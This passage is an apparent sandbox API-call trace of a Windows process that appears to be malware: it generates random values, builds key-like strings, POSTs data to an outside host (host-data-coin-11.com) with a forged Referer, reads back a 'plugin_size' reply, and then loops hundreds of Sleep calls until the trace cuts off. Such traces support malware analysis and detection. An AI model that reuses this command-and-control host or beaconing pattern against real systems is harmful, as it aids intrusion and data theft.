(in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xaac157bc [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4a3127a6 [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc3d2c6b6 [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x19994d07 [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8adde177 [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9b74f8ef [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x637c698e [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x96652d46 [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xecd6e69c [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1f680d4e [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe6300028 [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8e5dab14 [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x33549e12 [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa4e7b27 [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3bff2da0 [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa3fd909d [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x70e46cb5 [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfdb2984b [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb9e7643e [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x700ed479 [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6c27a6e1 [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x7e76ab79 [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8a9cd618 [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6b2debb4 [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x49bae9ac [0149.258] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x216dcc8f [0149.259] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xee2b93bf [0149.259] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9508608 [0149.259] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc2d86757 [0149.259] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa0344066 [0149.259] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x556e17ce [0149.259] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xea21050f [0149.259] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3df99301 [0149.259] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8dc6606a [0149.259] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xee00d309 [0149.259] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9111ea2a [0149.259] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0xbd) returned 0x471910 [0149.259] lstrcatA (in: lpString1="", lpString2="FE7F15060B875FB9FB2A49F08D5D03120C287F38" | out: lpString1="FE7F15060B875FB9FB2A49F08D5D03120C287F38") returned="FE7F15060B875FB9FB2A49F08D5D03120C287F38" [0149.259] lstrcatA (in: lpString1="", lpString2="XC64ZB" | out: lpString1="XC64ZB") returned="XC64ZB" [0149.259] lstrcatA (in: lpString1="", lpString2="pub3" | out: lpString1="pub3") returned="pub3" [0149.259] lstrcatA (in: lpString1="", lpString2="'l(T[FI+qX12'7x5*khM8'+Y5RX[p%\\e_#0[Df'a+K]]HmIH@)7m2ZH5oUq)IrVeVKDfs,b*eWCrk!Jm7D5uICmEF%Z_PSp58-\"Cf;Y8#'_6,2Remqzm<1,EFO5!-)P6_.#ixWy_nfrI" | out: lpString1="\"y;;*]7+:?ls&75v+uIVSO)#>)7m2ZH5oUq)IrVeVKDfs,b*eWCrk!Jm7D5uICmEF%Z_PSp58-\"Cf;Y8#'_6,2Remqzm<1,EFO5!-)P6_.#ixWy_nfrI") returned="\"y;;*]7+:?ls&75v+uIVSO)#>)7m2ZH5oUq)IrVeVKDfs,b*eWCrk!Jm7D5uICmEF%Z_PSp58-\"Cf;Y8#'_6,2Remqzm<1,EFO5!-)P6_.#ixWy_nfrI" [0160.021] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x10c) returned 0x471a20 [0160.021] lstrlenA (lpString="http://host-data-coin-11.com/") returned 29 [0160.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x471840, cbMultiByte=30, lpWideCharStr=0x471a20, cchWideChar=60 | out: lpWideCharStr="http://host-data-coin-11.com/") returned 30 [0160.021] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0xfd4fc18 | out: pProxyConfig=0xfd4fc18) returned 1 [0160.033] WinHttpOpen (pszAgentW="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x8621200 [0160.034] WinHttpCrackUrl (in: pwszUrl="http://host-data-coin-11.com/", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0xfd4fcd0 | out: lpUrlComponents=0xfd4fcd0) returned 1 [0160.034] WinHttpConnect (hSession=0x8621200, pswzServerName="host-data-coin-11.com", nServerPort=0x50, dwReserved=0x0) returned 0x86c9ee0 [0160.034] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x12) returned 0x471b40 [0160.035] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x68) returned 0x471b60 [0160.035] WinHttpOpenRequest (hConnect=0x86c9ee0, pwszVerb="POST", pwszObjectName="/", pwszVersion=0x0, pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0x5774000 [0160.035] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x4e) returned 0x471bd0 [0160.035] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x10d) returned 0x471c30 [0160.035] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd26a206e [0160.035] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x12) returned 0x471d50 [0160.035] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x17) returned 0x471d70 [0160.035] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x82ba0d02 [0160.035] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbf430a92 [0160.035] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x72c71730 [0160.035] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf8a091dc [0160.035] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf42321a8 [0160.035] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x16a3f40 [0160.035] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfd935995 [0160.035] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa0562a94 [0160.035] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x15800f65 [0160.035] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9a7a3fa0 [0160.035] wsprintfW (in: param_1=0x471c30, param_2="Accept: */*\r\nReferer: http://%S%s/" | out: param_1="Accept: */*\r\nReferer: http://yysfyxgkt.net/") returned 43 [0160.035] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471d70) returned 0x17 [0160.036] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471d70) returned 1 [0160.036] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471d50) returned 0x12 [0160.147] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471d50) returned 1 [0160.147] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471bd0) returned 0x4e [0160.147] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471bd0) returned 1 [0160.147] WinHttpAddRequestHeaders (hRequest=0x5774000, pwszHeaders="Accept: */*\r\nReferer: http://yysfyxgkt.net/", dwHeadersLength=0xffffffff, dwModifiers=0x20000000) returned 1 [0160.147] WinHttpSendRequest (hRequest=0x5774000, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x0, lpOptional=0x471940*, dwOptionalLength=0xc3, dwTotalLength=0xc3, dwContext=0x0) returned 1 [0160.994] WinHttpReceiveResponse (hRequest=0x5774000, lpReserved=0x0) returned 1 [0160.994] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x2800) returned 0x471d50 [0160.994] WinHttpReadData (in: hRequest=0x5774000, lpBuffer=0x471d50, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fd88 | out: lpBuffer=0x471d50*, lpdwNumberOfBytesRead=0xfd4fd88*=0x18) returned 1 [0160.995] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x471d50, Size=0x5000) returned 0x471d50 [0160.995] WinHttpReadData (in: hRequest=0x5774000, lpBuffer=0x471d68, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fd88 | out: lpBuffer=0x471d68*, lpdwNumberOfBytesRead=0xfd4fd88*=0x0) returned 1 [0160.995] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x430000 [0160.997] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471d50) returned 1 [0160.997] WinHttpCloseHandle (hInternet=0x5774000) returned 1 [0160.997] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471c30) returned 0x10d [0160.998] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471c30) returned 1 [0160.998] WinHttpCloseHandle (hInternet=0x86c9ee0) returned 1 [0160.998] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471b60) returned 0x68 [0160.998] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471b60) returned 1 [0160.998] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471b40) returned 0x12 [0160.998] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471b40) returned 1 [0160.998] WinHttpCloseHandle (hInternet=0x8621200) returned 1 [0160.998] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471a20) returned 0x10c [0160.999] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471a20) returned 1 [0160.999] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x4718b0) returned 0x7d [0160.999] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x4718b0) returned 1 [0160.999] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471940) returned 0xcc [0160.999] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471940) returned 1 [0161.000] lstrlenA (lpString="ä\x070|:|plugin_size=0") returned 19 [0161.000] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x15) returned 0x4718b0 [0161.000] lstrlenA (lpString="0|:|plugin_size=0") returned 17 [0161.000] lstrlenA (lpString="plugin_size") returned 11 [0161.000] atoi (_Str="0") returned 0 [0161.000] lstrlenA (lpString="0|:|plugin_size=0") returned 17 [0161.000] lstrlenA (lpString="|:|") returned 3 [0161.000] MapViewOfFile (hFileMappingObject=0x19ac, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x8fd0000 [0161.008] lstrcatA (in: lpString1="", lpString2="plugin_size=0" | out: lpString1="plugin_size=0") returned="plugin_size=0" [0161.008] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x8fd0000) returned 0x0 [0161.034] atoi (_Str="0") returned 0 [0161.035] VirtualFree (lpAddress=0x430000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0161.036] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471840) returned 0x26 [0161.037] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471840) returned 1 [0161.037] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\wvhwbfa"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0161.039] Sleep (dwMilliseconds=0x258) [0161.041] Sleep (dwMilliseconds=0x258) [0161.049] Sleep (dwMilliseconds=0x258) [0161.051] Sleep (dwMilliseconds=0x258) [0161.052] Sleep (dwMilliseconds=0x258) [0161.054] Sleep (dwMilliseconds=0x258) [0161.055] Sleep (dwMilliseconds=0x258) [0161.057] Sleep (dwMilliseconds=0x258) [0161.058] Sleep (dwMilliseconds=0x258) [0161.060] Sleep (dwMilliseconds=0x258) [0161.062] Sleep (dwMilliseconds=0x258) [0161.064] Sleep (dwMilliseconds=0x258) [0161.065] Sleep (dwMilliseconds=0x258) [0161.069] Sleep (dwMilliseconds=0x258) [0161.072] Sleep (dwMilliseconds=0x258) [0161.073] Sleep (dwMilliseconds=0x258) [0161.075] Sleep (dwMilliseconds=0x258) [0161.076] Sleep (dwMilliseconds=0x258) [0161.078] Sleep (dwMilliseconds=0x258) [0161.079] Sleep (dwMilliseconds=0x258) [0161.081] Sleep (dwMilliseconds=0x258) [0161.082] Sleep (dwMilliseconds=0x258) [0161.084] Sleep (dwMilliseconds=0x258) [0161.085] Sleep (dwMilliseconds=0x258) [0161.087] Sleep (dwMilliseconds=0x258) [0161.088] Sleep (dwMilliseconds=0x258) [0161.090] Sleep (dwMilliseconds=0x258) [0161.091] Sleep (dwMilliseconds=0x258) [0161.093] Sleep (dwMilliseconds=0x258) [0161.094] Sleep (dwMilliseconds=0x258) [0161.096] Sleep (dwMilliseconds=0x258) [0161.097] Sleep (dwMilliseconds=0x258) [0161.099] Sleep (dwMilliseconds=0x258) [0161.100] Sleep (dwMilliseconds=0x258) [0161.102] Sleep (dwMilliseconds=0x258) [0161.104] Sleep (dwMilliseconds=0x258) [0161.105] Sleep (dwMilliseconds=0x258) [0161.107] Sleep (dwMilliseconds=0x258) [0161.108] Sleep (dwMilliseconds=0x258) [0161.110] Sleep (dwMilliseconds=0x258) [0161.111] Sleep (dwMilliseconds=0x258) [0161.113] Sleep (dwMilliseconds=0x258) [0161.115] Sleep (dwMilliseconds=0x258) [0161.117] Sleep (dwMilliseconds=0x258) [0161.118] Sleep (dwMilliseconds=0x258) [0161.120] Sleep (dwMilliseconds=0x258) [0161.122] Sleep (dwMilliseconds=0x258) [0161.123] Sleep (dwMilliseconds=0x258) [0161.125] Sleep (dwMilliseconds=0x258) [0161.126] Sleep (dwMilliseconds=0x258) [0161.128] Sleep (dwMilliseconds=0x258) [0161.130] Sleep (dwMilliseconds=0x258) [0161.132] Sleep (dwMilliseconds=0x258) [0161.134] Sleep (dwMilliseconds=0x258) [0161.135] Sleep (dwMilliseconds=0x258) [0161.137] Sleep (dwMilliseconds=0x258) [0161.138] Sleep (dwMilliseconds=0x258) [0161.140] Sleep (dwMilliseconds=0x258) [0161.141] Sleep (dwMilliseconds=0x258) [0161.143] Sleep (dwMilliseconds=0x258) [0161.144] Sleep (dwMilliseconds=0x258) [0161.146] Sleep (dwMilliseconds=0x258) [0161.147] Sleep (dwMilliseconds=0x258) [0161.149] Sleep (dwMilliseconds=0x258) [0161.150] Sleep (dwMilliseconds=0x258) [0161.152] Sleep (dwMilliseconds=0x258) [0161.153] Sleep (dwMilliseconds=0x258) [0161.155] Sleep (dwMilliseconds=0x258) [0161.157] Sleep (dwMilliseconds=0x258) [0161.158] Sleep (dwMilliseconds=0x258) [0161.161] Sleep (dwMilliseconds=0x258) [0161.163] Sleep (dwMilliseconds=0x258) [0161.164] Sleep (dwMilliseconds=0x258) [0161.166] Sleep (dwMilliseconds=0x258) [0161.167] Sleep (dwMilliseconds=0x258) [0161.170] Sleep (dwMilliseconds=0x258) [0161.171] Sleep (dwMilliseconds=0x258) [0161.173] Sleep (dwMilliseconds=0x258) [0161.175] Sleep (dwMilliseconds=0x258) [0161.177] Sleep (dwMilliseconds=0x258) [0161.179] Sleep (dwMilliseconds=0x258) [0161.180] Sleep (dwMilliseconds=0x258) [0161.182] Sleep (dwMilliseconds=0x258) [0161.184] Sleep (dwMilliseconds=0x258) [0161.186] Sleep (dwMilliseconds=0x258) [0161.187] Sleep (dwMilliseconds=0x258) [0161.189] Sleep (dwMilliseconds=0x258) [0161.190] Sleep (dwMilliseconds=0x258) [0161.192] Sleep (dwMilliseconds=0x258) [0161.193] Sleep (dwMilliseconds=0x258) [0161.195] Sleep (dwMilliseconds=0x258) [0161.196] Sleep (dwMilliseconds=0x258) [0161.198] Sleep (dwMilliseconds=0x258) [0161.199] Sleep (dwMilliseconds=0x258) [0161.201] Sleep (dwMilliseconds=0x258) [0161.203] Sleep (dwMilliseconds=0x258) [0161.204] Sleep (dwMilliseconds=0x258) [0161.206] Sleep (dwMilliseconds=0x258) [0161.207] Sleep (dwMilliseconds=0x258) [0161.209] Sleep (dwMilliseconds=0x258) [0161.211] Sleep (dwMilliseconds=0x258) [0161.212] Sleep (dwMilliseconds=0x258) [0161.215] Sleep (dwMilliseconds=0x258) [0161.228] Sleep (dwMilliseconds=0x258) [0161.229] Sleep (dwMilliseconds=0x258) [0161.231] Sleep (dwMilliseconds=0x258) [0161.232] Sleep (dwMilliseconds=0x258) [0161.234] Sleep (dwMilliseconds=0x258) [0161.235] Sleep (dwMilliseconds=0x258) [0161.237] Sleep (dwMilliseconds=0x258) [0161.238] Sleep (dwMilliseconds=0x258) [0161.240] Sleep (dwMilliseconds=0x258) [0161.241] Sleep (dwMilliseconds=0x258) [0161.243] Sleep (dwMilliseconds=0x258) [0161.244] Sleep (dwMilliseconds=0x258) [0161.246] Sleep (dwMilliseconds=0x258) [0161.247] Sleep (dwMilliseconds=0x258) [0161.249] Sleep (dwMilliseconds=0x258) [0161.250] Sleep (dwMilliseconds=0x258) [0161.252] Sleep (dwMilliseconds=0x258) [0161.254] Sleep (dwMilliseconds=0x258) [0161.255] Sleep (dwMilliseconds=0x258) [0161.257] Sleep (dwMilliseconds=0x258) [0161.258] Sleep (dwMilliseconds=0x258) [0161.275] Sleep (dwMilliseconds=0x258) [0161.277] Sleep (dwMilliseconds=0x258) [0161.278] Sleep (dwMilliseconds=0x258) [0161.280] Sleep (dwMilliseconds=0x258) [0161.281] Sleep (dwMilliseconds=0x258) [0161.283] Sleep (dwMilliseconds=0x258) [0161.284] Sleep (dwMilliseconds=0x258) [0161.286] Sleep (dwMilliseconds=0x258) [0161.288] Sleep (dwMilliseconds=0x258) [0161.289] Sleep (dwMilliseconds=0x258) [0161.291] Sleep (dwMilliseconds=0x258) [0161.293] Sleep (dwMilliseconds=0x258) [0161.294] Sleep (dwMilliseconds=0x258) [0161.296] Sleep (dwMilliseconds=0x258) [0161.298] Sleep (dwMilliseconds=0x258) [0161.300] Sleep (dwMilliseconds=0x258) [0161.301] Sleep (dwMilliseconds=0x258) [0161.303] Sleep (dwMilliseconds=0x258) [0161.305] Sleep (dwMilliseconds=0x258) [0161.306] Sleep (dwMilliseconds=0x258) [0161.308] Sleep (dwMilliseconds=0x258) [0161.310] Sleep (dwMilliseconds=0x258) [0161.312] Sleep (dwMilliseconds=0x258) [0161.313] Sleep (dwMilliseconds=0x258) [0161.315] Sleep (dwMilliseconds=0x258) [0161.316] Sleep (dwMilliseconds=0x258) [0161.319] Sleep (dwMilliseconds=0x258) [0161.321] Sleep (dwMilliseconds=0x258) [0161.330] Sleep (dwMilliseconds=0x258) [0161.332] Sleep (dwMilliseconds=0x258) [0161.334] Sleep (dwMilliseconds=0x258) [0161.335] Sleep (dwMilliseconds=0x258) [0161.337] Sleep (dwMilliseconds=0x258) [0161.338] Sleep (dwMilliseconds=0x258) [0161.340] Sleep (dwMilliseconds=0x258) [0161.341] Sleep (dwMilliseconds=0x258) [0161.343] Sleep (dwMilliseconds=0x258) [0161.345] Sleep (dwMilliseconds=0x258) [0161.347] Sleep (dwMilliseconds=0x258) [0161.348] Sleep (dwMilliseconds=0x258) [0161.350] Sleep (dwMilliseconds=0x258) [0161.351] Sleep (dwMilliseconds=0x258) [0161.353] Sleep (dwMilliseconds=0x258) [0161.356] Sleep (dwMilliseconds=0x258) [0161.357] Sleep (dwMilliseconds=0x258) [0161.359] Sleep (dwMilliseconds=0x258) [0161.361] Sleep (dwMilliseconds=0x258) [0161.362] Sleep (dwMilliseconds=0x258) [0161.364] Sleep (dwMilliseconds=0x258) [0161.366] Sleep (dwMilliseconds=0x258) [0161.367] Sleep (dwMilliseconds=0x258) [0161.369] Sleep (dwMilliseconds=0x258) [0161.371] Sleep (dwMilliseconds=0x258) [0161.372] Sleep (dwMilliseconds=0x258) [0161.374] Sleep (dwMilliseconds=0x258) [0161.375] Sleep (dwMilliseconds=0x258) [0161.377] Sleep (dwMilliseconds=0x258) [0161.379] Sleep (dwMilliseconds=0x258) [0161.381] Sleep (dwMilliseconds=0x258) [0161.382] Sleep (dwMilliseconds=0x258) [0161.384] Sleep (dwMilliseconds=0x258) [0161.385] Sleep (dwMilliseconds=0x258) [0161.387] Sleep (dwMilliseconds=0x258) [0161.388] Sleep (dwMilliseconds=0x258) [0161.390] Sleep (dwMilliseconds=0x258) [0161.392] Sleep (dwMilliseconds=0x258) [0161.393] Sleep (dwMilliseconds=0x258) [0161.395] Sleep (dwMilliseconds=0x258) [0161.396] Sleep (dwMilliseconds=0x258) [0161.398] Sleep (dwMilliseconds=0x258) [0161.399] Sleep (dwMilliseconds=0x258) [0161.401] Sleep (dwMilliseconds=0x258) [0161.402] Sleep (dwMilliseconds=0x258) [0161.405] Sleep (dwMilliseconds=0x258) [0161.407] Sleep (dwMilliseconds=0x258) [0161.408] Sleep (dwMilliseconds=0x258) [0161.410] Sleep (dwMilliseconds=0x258) [0161.411] Sleep (dwMilliseconds=0x258) [0161.413] Sleep (dwMilliseconds=0x258) [0161.414] Sleep (dwMilliseconds=0x258) [0161.416] Sleep (dwMilliseconds=0x258) [0161.417] Sleep (dwMilliseconds=0x258) [0161.419] Sleep (dwMilliseconds=0x258) [0161.420] Sleep (dwMilliseconds=0x258) [0161.422] Sleep (dwMilliseconds=0x258) [0161.423] Sleep (dwMilliseconds=0x258) [0161.425] Sleep (dwMilliseconds=0x258) [0161.427] Sleep (dwMilliseconds=0x258) [0161.428] Sleep (dwMilliseconds=0x258) [0161.432] Sleep (dwMilliseconds=0x258) [0161.433] Sleep (dwMilliseconds=0x258) [0161.436] Sleep (dwMilliseconds=0x258) [0161.437] Sleep (dwMilliseconds=0x258) [0161.439] Sleep (dwMilliseconds=0x258) [0161.441] Sleep (dwMilliseconds=0x258) [0161.442] Sleep (dwMilliseconds=0x258) [0161.444] Sleep (dwMilliseconds=0x258) [0161.446] Sleep (dwMilliseconds=0x258) [0161.447] Sleep (dwMilliseconds=0x258) [0161.449] Sleep (dwMilliseconds=0x258) [0161.451] Sleep (dwMilliseconds=0x258) [0161.452] Sleep (dwMilliseconds=0x258) [0161.454] Sleep (dwMilliseconds=0x258) [0161.456] Sleep (dwMilliseconds=0x258) [0161.459] Sleep (dwMilliseconds=0x258) [0161.460] Sleep (dwMilliseconds=0x258) [0161.462] Sleep (dwMilliseconds=0x258) [0161.464] Sleep (dwMilliseconds=0x258) [0161.465] Sleep (dwMilliseconds=0x258) [0161.467] Sleep (dwMilliseconds=0x258) [0161.468] Sleep (dwMilliseconds=0x258) [0161.470] Sleep (dwMilliseconds=0x258) [0161.471] Sleep (dwMilliseconds=0x258) [0161.474] Sleep (dwMilliseconds=0x258) [0161.475] Sleep (dwMilliseconds=0x258) [0161.477] Sleep (dwMilliseconds=0x258) [0161.478] Sleep (dwMilliseconds=0x258) [0161.480] Sleep (dwMilliseconds=0x258) [0161.482] Sleep (dwMilliseconds=0x258) [0161.488] Sleep (dwMilliseconds=0x258) [0161.489] Sleep (dwMilliseconds=0x258) [0161.490] Sleep (dwMilliseconds=0x258) [0161.494] Sleep (dwMilliseconds=0x258) [0161.496] Sleep (dwMilliseconds=0x258) [0161.497] Sleep (dwMilliseconds=0x258) [0161.498] Sleep (dwMilliseconds=0x258) [0161.500] Sleep (dwMilliseconds=0x258) [0161.502] Sleep (dwMilliseconds=0x258) [0161.503] Sleep (dwMilliseconds=0x258) [0161.505] Sleep (dwMilliseconds=0x258) [0161.506] Sleep (dwMilliseconds=0x258) [0161.508] Sleep (dwMilliseconds=0x258) [0161.510] Sleep (dwMilliseconds=0x258) [0161.511] Sleep (dwMilliseconds=0x258) [0161.513] Sleep (dwMilliseconds=0x258) [0161.516] Sleep (dwMilliseconds=0x258) [0161.517] Sleep (dwMilliseconds=0x258) [0161.518] Sleep (dwMilliseconds=0x258) [0161.519] Sleep (dwMilliseconds=0x258) [0161.521] Sleep (dwMilliseconds=0x258) [0161.522] Sleep (dwMilliseconds=0x258) [0161.524] Sleep (dwMilliseconds=0x258) [0161.525] Sleep (dwMilliseconds=0x258) [0161.527] Sleep (dwMilliseconds=0x258) [0161.529] Sleep (dwMilliseconds=0x258) [0161.530] Sleep (dwMilliseconds=0x258) [0161.532] Sleep (dwMilliseconds=0x258) [0161.534] Sleep (dwMilliseconds=0x258) [0161.536] Sleep (dwMilliseconds=0x258) [0161.538] Sleep (dwMilliseconds=0x258) [0161.541] Sleep (dwMilliseconds=0x258) [0161.542] Sleep (dwMilliseconds=0x258) [0161.545] Sleep (dwMilliseconds=0x258) [0161.546] Sleep (dwMilliseconds=0x258) [0161.548] Sleep (dwMilliseconds=0x258) [0161.549] Sleep (dwMilliseconds=0x258) [0161.551] Sleep (dwMilliseconds=0x258) [0161.552] Sleep (dwMilliseconds=0x258) [0161.554] Sleep (dwMilliseconds=0x258) [0161.556] Sleep (dwMilliseconds=0x258) [0161.557] Sleep (dwMilliseconds=0x258) [0161.558] Sleep (dwMilliseconds=0x258) [0161.560] Sleep (dwMilliseconds=0x258) [0161.561] Sleep (dwMilliseconds=0x258) [0161.563] Sleep (dwMilliseconds=0x258) [0161.564] Sleep (dwMilliseconds=0x258) [0161.566] Sleep (dwMilliseconds=0x258) [0161.567] Sleep (dwMilliseconds=0x258) [0161.569] Sleep (dwMilliseconds=0x258) [0161.570] Sleep (dwMilliseconds=0x258) [0161.572] Sleep (dwMilliseconds=0x258) [0161.576] Sleep (dwMilliseconds=0x258) [0161.578] Sleep (dwMilliseconds=0x258) [0161.579] Sleep (dwMilliseconds=0x258) [0161.581] Sleep (dwMilliseconds=0x258) [0161.582] Sleep (dwMilliseconds=0x258) [0161.584] Sleep (dwMilliseconds=0x258) [0161.586] Sleep (dwMilliseconds=0x258) [0161.587] Sleep (dwMilliseconds=0x258) [0161.589] Sleep (dwMilliseconds=0x258) [0161.591] Sleep (dwMilliseconds=0x258) [0161.592] Sleep (dwMilliseconds=0x258) [0161.594] Sleep (dwMilliseconds=0x258) [0161.596] Sleep (dwMilliseconds=0x258) [0161.598] Sleep (dwMilliseconds=0x258) [0161.599] Sleep (dwMilliseconds=0x258) [0161.601] Sleep (dwMilliseconds=0x258) [0161.602] Sleep (dwMilliseconds=0x258) [0161.604] Sleep (dwMilliseconds=0x258) [0161.606] Sleep (dwMilliseconds=0x258) [0161.611] Sleep (dwMilliseconds=0x258) [0161.612] Sleep (dwMilliseconds=0x258) [0161.614] Sleep (dwMilliseconds=0x258) [0161.615] Sleep (dwMilliseconds=0x258) [0161.617] Sleep (dwMilliseconds=0x258) [0161.618] Sleep (dwMilliseconds=0x258) [0161.620] Sleep (dwMilliseconds=0x258) [0161.622] Sleep (dwMilliseconds=0x258) [0161.623] Sleep (dwMilliseconds=0x258) [0161.624] Sleep (dwMilliseconds=0x258) [0161.626] Sleep (dwMilliseconds=0x258) [0161.627] Sleep (dwMilliseconds=0x258) [0161.629] Sleep (dwMilliseconds=0x258) [0161.630] Sleep (dwMilliseconds=0x258) [0161.632] Sleep (dwMilliseconds=0x258) [0161.633] Sleep (dwMilliseconds=0x258) [0161.635] Sleep (dwMilliseconds=0x258) [0161.636] Sleep (dwMilliseconds=0x258) [0161.691] Sleep (dwMilliseconds=0x258) [0161.692] Sleep (dwMilliseconds=0x258) [0161.694] Sleep 